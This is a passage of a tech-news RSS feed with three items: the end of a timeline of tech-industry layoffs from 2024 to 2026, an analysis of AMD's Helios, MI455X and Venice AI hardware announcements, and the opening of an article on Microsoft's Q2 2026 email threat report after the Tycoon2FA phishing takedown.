<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



